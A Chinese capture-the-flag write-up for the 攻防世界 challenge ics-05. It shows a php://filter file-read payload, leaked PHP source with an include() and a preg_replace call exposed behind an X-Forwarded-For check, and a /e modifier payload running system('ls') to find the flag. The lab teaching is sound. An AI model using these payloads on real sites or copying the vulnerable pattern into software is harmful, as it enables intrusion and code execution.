攻防世界-高手进阶区之ics-05

进来页面是:

攻防世界-高手进阶区之ics-05_第1张图片

然后用nikto 扫描了一下:

攻防世界-高手进阶区之ics-05_第2张图片

它提示说是任何一个攻击者都可以任意读取文件:

那么就尝试一下读取页面源码:

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

然后就去转码一下得到了:






    
    
    
    
    
    设备维护中心
    



    
    
设备列表












0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?>





Welcome My Admin !
"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>

 

重点在于这里:

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "
Welcome My Admin !
"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }

preg_replace(),函数有一个执行漏洞,即在pattern为/e的模式下,当subject和pattern相同时,会执行repalcement中的代码:

所以可以构造 pat=/123/e&rep=system("ls")&sub=123

即可成功执行system(“ls”),这里注意要添加XFF头

攻防世界-高手进阶区之ics-05_第3张图片

然后就知道了s3chahahaDir这个文件不大对,就进去看看有什么

这里有一个 &&需要用上,所以需要构造的rep为system("cd+s3chahahaDir%26%26ls"),可以看到里面有flag目录。

%26是&的url编码 用+代替空格

攻防世界-高手进阶区之ics-05_第4张图片

 

然后进flag里面看有什么:

system("cd+s3chahahaDir/flag%26%26ls")攻防世界-高手进阶区之ics-05_第5张图片

有一个flag.php,然后就去用cat查看即可得到flag:

攻防世界-高手进阶区之ics-05_第6张图片

 

 

写在最后:

记录一下preg_replace的用法:

preg_repalce(pattern,repalcement,subject)

pattern:搜索模式,是一个正则

repalcement:是替换的字符串或者字符串数组

subject:待替换的内容

 

如果pattern中带着/e,并且pattern和subject的内容一致,则会直接执行repalcement的代码

你可能感兴趣的:(ctf)